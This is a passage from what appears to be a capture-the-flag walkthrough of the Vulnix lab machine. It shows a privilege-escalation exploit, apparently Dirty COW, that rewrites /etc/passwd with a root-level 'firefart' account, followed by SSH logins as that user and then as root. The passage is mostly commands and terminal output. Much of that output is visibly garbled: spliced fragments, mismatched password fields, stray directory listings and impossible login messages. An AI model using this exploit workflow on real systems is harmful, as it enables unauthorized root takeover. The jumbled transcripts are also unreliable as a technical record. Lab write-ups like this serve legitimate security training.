--2020-06-16 14:00:55-- http://.
Resolving . (.)... failed: Temporary failure in name resolution.
wget: unable to resolve host address `.'
FINISHED --2020-06-16 14:01:15--
Total wall clock time: 20s
Downloaded: 1 files, 16K in 0s (74.0 MB/s)
```

#### 4. **./exp** (to exploit)

It will ask you to enter password

\*\*\* This script will pawn root user as firefart user

```
vulnix@vulnix:~$ ./exp1 & cat /etc/passwd | grep root
/etc/passwd successfully backed up to /tmp/passwd.bak
Please enter the new password:
Complete line:
firefart:figsoZwss4Zu6:0:0:pwned:/root:/bin/bash
root@v5ha:~$
```

## 5. Login with ssh as firefart user

```
root@v5hali:~/Downloads# ssh firefart@192.168.122.130
firefart@192.168.122.130's password:
Welcome to Ubuntu 12.04.1 LTS (GNU/Linux 3.2.0-29-generic-pae i686)

 * Documentation:  https://help.ubuntu.com/
System information as of Tue Jun 16 14:05:06 BST 2020

 System load: 0.72 Swap usage: 0%
Usage of /: 90.3% of 773MB Users logged in: 1
 Memory usage: 9% IP address for eth0: 192.168.122.130
ak
=> / is using 90.3% of 773MB
=> There were exceptions while processing one or more plugins. See
    /var/log/landscape/sysinfo.log for more information.

Graph this data and manage this system at https://landscape.canonical.com/
directory

New release '14.04.6 LTS' available.
Run 'do-release-upgrade' to upgrade to it.
ip to /tmp/passwd.bak
firefart@vulnix:~# nano /etc/passwd
```

## 6. Open /etc/passwd file

```
[firefart:fiw.I6FqpfXW.:0:0:pwned:/bin/bash] [Read 30 lines] ^G Get Help ^O WriteOut ^R Read File ^Y Prev Page ^K Cut/Text ^C Copy ^P PosGET / ^X Exit ^J Justify ^W Where Is ^V Next Page ^U Uncut/Text ^T To Spell
```

## 7. change firefart to root

```
GNU nano 2.2.6          File: /etc/passwd          Modified

root:x:16FqpfXw.:0:0:pwned:/root:/bin/bash
^@^@^@/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
p:root:16696 Jun 16 08:59 .
t root 4096 Jun 16 07:20 ..
gnats:root 16696 Jun 16 08:59 exp
libuuid:root 8000 (http://0.0.0.0
p to /tmp/passwd.bak [ XOFF ignored, mumble mumble ]
```

8. Then again login with ssh as root user

```
--r-- 1 vulnix vulnix 220 Apr 3 2012 .bash_logout
--r-- 1 vulnix vulnix 3486 Apr 3 2012 .bashrc
--w-- 1 vulnix vulnix 4096 Jun 16 13:46 .cache
w-r-- 1 vulnix vulnix 16696 'o__o'
--r-- 1 vulnix vulnix 675
root@vShali:~/Downloads# ssh Root@192.168.122.130 Terminal Help
root@192.168.122.130's password:@vShali:~/Downloads#
Welcome to Ubuntu 12.04.1 LTS (GNU/Linux 3.2.0-29-generic-pae i686) (192.168.122.1)
password successfully backed up to /root/.ssh/known_hosts
* Documentation: https://help.ubuntu.com
/etc/fstab: line 1: syntax error near unexpected token `newline'
/etc/fstab: line 1: `# / is mounted on / by default
System information as of Tue Jun 16 14:07:15 BST p2020 help.ubuntu.com/
b7758000
System load: 0.1      Processes: 94
Usage of /: 90.3% of 773MB   Users logged in: 2
Memory usage: 9%
Swap usage: 0%
=> / is using 90.3% of 773MB
Graph this data and manage this system at https://landscape.canonical.com or
/var/log/landscape/sysinfo.log for more information
New release '14.04.6 LTS' available.
Run 'do-release-upgrade' to upgrade to it.
data and manage this system at https://
cd: /hom: No such file or directory
Last login: Tue Jun 16 14:05:07 2020 from 192.168.122.145
root@vulnix:~# whoami
Run 'do-release-upgrade' to upgrade to it.
root
root@vulnix:~# uname
Linux
firefart@vulnix:~# nano /etc/passwd
firefart@vulnix:~# 
root@vulnix:~# 
```

Finally we got root shell.

```
root@vulnix:~# cat trophy.txt
cc614640424f5bd60ce5d5264899c3be
root@vulnix:~# 
```